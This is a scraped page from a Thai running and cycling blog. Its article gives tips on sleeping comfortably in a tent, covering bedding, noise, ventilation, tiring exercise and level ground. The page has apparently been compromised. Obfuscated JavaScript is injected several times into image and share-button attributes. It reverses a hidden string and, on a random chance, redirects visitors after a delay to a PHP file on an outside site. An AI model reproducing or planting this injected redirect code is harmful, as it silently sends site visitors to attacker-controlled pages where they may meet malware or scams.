andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gloor-576177-unsplash.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2018/09/andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gloor-576177-unsplash.jpg","width":1000,"height":662},{"@type":"WebPage","@id":"https://www.stepextra.com/tips-for-sleeping-in-a-tent/#webpage","url":"https://www.stepextra.com/tips-for-sleeping-in-a-tent/","name":"สะกดจิตอย่างไรให้นอนหลับเมื่อต้องนอนเต็นท์ - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/tips-for-sleeping-in-a-tent/#primaryimage"},"datePublished":"2018-09-04T17:07:31+00:00","dateModified":"2018-09-04T17:07:31+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"breadcrumb":{"@id":"https://www.stepextra.com/tips-for-sleeping-in-a-tent/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/tips-for-sleeping-in-a-tent/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/tips-for-sleeping-in-a-tent/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"สะกดจิตอย่างไรให้นอนหลับเมื่อต้องนอนเต็นท์"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Travel

สะกดจิตอย่างไรให้นอนหลับเมื่อต้องนอนเต็นท์

kan by kan
5 September 2018
in Travel
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gloor-576177-unsplash.jpg">
สะกดจิตอย่างไรให้นอนหลับเมื่อต้องนอนเต็นท์
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gloor-576177-unsplash.jpg&description=%E0%B8%AA%E0%B8%B0%E0%B8%81%E0%B8%94%E0%B8%88%E0%B8%B4%E0%B8%95%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B9%84%E0%B8%A3%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B8%99%E0%B8%AD%E0%B8%99%E0%B8%AB%E0%B8%A5%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%A1%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%99%E0%B8%AD%E0%B8%99%E0%B9%80%E0%B8%95%E0%B9%87%E0%B8%99%E0%B8%97%E0%B9%8C" rel='nofollow' class="jeg_btn-pinterest ">

ทำอย่างไรให้นอนหลับสบายเมื่อต้องไปออกทริปนอนแคมป์กัน อย่างแรกเลยก็คือ ทำให้เต็นแห้งและสะอาด การทำให้เต็นท์นอนแห้งและสะอาดจะทำให้บรรยากาศและจิตใจเราผ่อนคลายมากที่สุดเวลานอน ไม่อับชื้นเวลานอน แถมถ้าเต็นท์เปียกชื้นไม่สะอาด จะไม่เหมาะต่อการนอนมากเพราะ เสี่ยงจะมีมดแมลงหรือสัตว์มีพิษเข้ามาอาศัยอยู่ด้วย ในส่วนวิธีอื่นๆ ที่แนะนำก็จะมี….

สะกดจิตอย่างไรให้นอนหลับเมื่อต้องนอนเต็นท์

1. เลือกเครื่องนอนให้ถูก เจ้าเครื่องนอนในที่นี้คือ แผ่นรองนอน ถุงนอนและหมอนอน หลายๆ คนเข้าใจว่าไปนอนแคมป์เอาแค่ถุงนอนไปก็พอ แต่จริงๆ แล้วเวลาใช้ถุงนอนอย่างเดียวนอนเราจะสัมผัสได้ถึงไอเย้นและความชื้นซึมเข้ามา แม้ว่าจะมีพื้นแคมป์หรือ groundsheet รองแล้วก็ตาม แผ่นรองนอนจึงเป็นอุปกรณ์ที่ควรพกติดตัวไว้ด้วย นอกจากนี้เจ้าแผ่นรองนอนก็มีหลายขนาด 1 – 6 คนนอนเลยเเละหลายประเภท ทั้งแบบเป่าลม สะดวกในการพกพา หรือจะชอบแบบเฟริ์มๆ ทนทาน ใช้ได้ทุกสถานการณ์ ก็เลือกแบบโฟมพับธรรมดา แต่ถ้านิยมออกทริปแบบแคมป์คาร์ ขนของได้เยอะก็ลองเลือกเตียงลม(ฟูกลม) ไซด์ใหญ่ กันไปเลย ส่วนถุงนอนนั้น ตามอากาศบ้านเราก็เลือกเอาแค่ถุงนอน 3 ฤดูก็พอหรือแบบกันความหนาวได้ประมาณ 7-14 องศา ก็ครอบคลุมแล้ว และในส่วนของหมอนนอนนั้น ส่วนมากจะนิยมเป็นแบบเป่าลม หรือใช้กระเป๋าเป็นที่หนุนนอนกันแทน

2. จัดการเสียงรบกวน นักแคมปิ้งส่วนมากจะชอบนอนฟังเสียงธรรมชาติ แต่สำหรับนักแคมปิ้งหน้าใหญ่ การนอนฟังเสียงธรรมชาติ อย่าง ใบไม้ไหว เสียงจิ้งหรีด แมลงและนกร้อง ควงทำให้นอนหลับได้ยาก เป็นเหมือนเสียงรบกวนมากกว่า ดังนั้นการพกเอาที่อุดหู จึงเป็นเรื่องที่แนะนำ หรือจะใช้วิธีเปิดแอพที่เลียนเสียงคลื่นทะเลหรือเสียงฝนตกก็สามารถกลบเสียงภายนอกได้

แต่มีเสียงบางอย่างที่ไม่สามมารถจัดการได้ นอกจากต้องเปลี่ยนทำเลหรือแย่สุดก็ต้องเรียกเจ้าหน้าที่มาช่วย นั้นคือเสียงจากกลุ่มคนสรรสันยาวข้ามคืน (คนเมา) ก็จะลงหลักปักเต็นท์ลงมองดูรอบข้างให้ดีๆ ดูว่ามีกลุ่มคนที่ไม่พึ่งประสงค์หรือไม่ ถ้ามีก็พยายามย้ายที่ไปในที่ปลอดภัยและเงียบสงบที่สุด

3. ปรับอากาศให้เหมาะ ในสภาพอากาศบ้านเราที่มีความร้อนชื้นสูง การเปิดช่องระบายอากาศเต็นท์ให้ลมถ่ายเลได้มากที่สุดจะช่วยลดอุณหภูมิให้เย็นลง ทำให้นอนหลับได้สบายมากขึ้น นอกเหนือจากนี้ก็จะเป็นการพกเอาพัดลมไฟฟ้าเป่าลมเข้าเต็นท์

4. ไปออกกำลังกายให้เหนื่อยเต็มที่ ถ้าคุณชอบกิจกรรมกลางแจ้ง ชอบวิ่ง ชอบว่ายน้ำ ชอบเดินสำรวจ เราแนะนำให้ใส่เต็มที่ตั้งแต่ช่วงเช้าไปเลย เพราะหลังจากนี้คุณจะหลับได้ลึกมากจนลืมสิ่งรบกวนข้างๆ ไปเลย

5. ดูองศาพื้นให้ดี หนึ่งในวิธีทำให้เรานอนหลับได้สบายอย่างแรกๆ คือการดูฮวงจุ้ยสถานที่ ความลาดเอียงและพื้นผิวที่กางเต็นท์ พยายามเลือกพื้นที่ราบและพื้นนิ่ม ไม่มีก้อนหินหรือเป็นแอ่งเสี่ยงต่อน้ำขัง การนอนในพื้นที่ลาดเอียงนั้นมีโอกาสที่ผู้นอนจะกลิ้งไปกองข้างใดข้างหนึ่งมากที่สุด แต่ถ้าเลือกไม่ได้ เราก็มีวิธีจัดการแก้เช่นกัน อย่างเช่นการนอนเป็นแนวตั้งฉากกับทางลาดเอียง และมีหมอนหรือกระเป๋าดักไว้ไม่ให้กลิ้งไหลลงมา

วิธีอื่นๆ นอกเหนือจากนี้ ก็เห็นจะเป็นการเข้าห้องนอนทำธุระหนักเบาให้เรียบร้อยทุกครั้งก่อนเข้านอน ถ้าสามรถอาบน้ำหรือทำความสะอาดร่างกายและเปลี่ยนเสื้อผ้าได้ ก็จะดีมาก ร่างกายเราจะปลอดโปร่ง สบายเนื้อสบายตัวเหมาะแก่การนอนมากขึ้น

อ้างอิง www.active.com

 

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-gloor-576177-unsplash.jpg&description=%E0%B8%AA%E0%B8%B0%E0%B8%81%E0%B8%94%E0%B8%88%E0%B8%B4%E0%B8%95%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87%E0%B9%84%E0%B8%A3%E0%B9%83%E0%B8%AB%E0%B9%89%E0%B8%99%E0%B8%AD%E0%B8%99%E0%B8%AB%E0%B8%A5%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%A1%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%95%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%99%E0%B8%AD%E0%B8%99%E0%B9%80%E0%B8%95%E0%B9%87%E0%B8%99%E0%B8%97%E0%B9%8C" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.